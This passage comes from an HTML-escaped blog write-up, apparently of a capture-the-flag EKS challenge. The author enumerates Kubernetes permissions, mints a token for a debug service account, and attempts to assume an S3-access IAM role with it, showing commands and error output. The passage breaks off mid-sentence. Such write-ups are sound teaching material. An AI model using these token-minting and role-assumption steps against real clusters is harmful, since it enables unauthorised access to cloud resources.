style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDenied) when calling the ListBuckets operation: Access Denied\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNope!  So we need to figure out how to become the \u003ccode\u003es3access-sa\u003c/code\u003e. What access do\nwe have?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           []                  [debug-sa]         [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                 []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]        []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                  [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eHmm, being able to create tokens for the \u003ccode\u003edebug-sa\u003c/code\u003e resource definitely seems\nsuspicious. So lets see if that will get us anywhere:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e create token debug-sa)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/.well-known/openid-configuration]   []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]                                []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]                               []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openid/v1/jwks]                     []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                                    [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like we have less access than before.  So not too helpful, lets take a\nlook at that service account we want to become:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esa\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3access-sa\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ServiceAccount\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"annotations\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"eks.amazonaws.com/role-arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::688655246681:role/challengeEksS3Role\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-10-31T20:07:34Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3access-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge5\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"671916\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"86e44c49-b05a-4ebe-800b-45183a6ebbda\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI think we are going to need to use our AWS access to assume that role, I don't\nbelieve our kubernetes access is going to get us anywhere:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOk, so \u003cem\u003emaybe\u003c/em\u003e our kubernetes access is important since we can't assume the role\ndirectly.   Lets try to use that $TOKEN from \u003ccode\u003edebug-sa\u003c/code\u003e to assume the role:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--web-identity-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eGetting closer!   The default audience for a token created with \u003ccode\u003ekubectl\u003c/code\u003e is\n\u003ccode\u003ehttps://kubernetes.default.svc\u003c/code\u003e which amazon doesn't seem to like.  Lets try\ncreating it again with 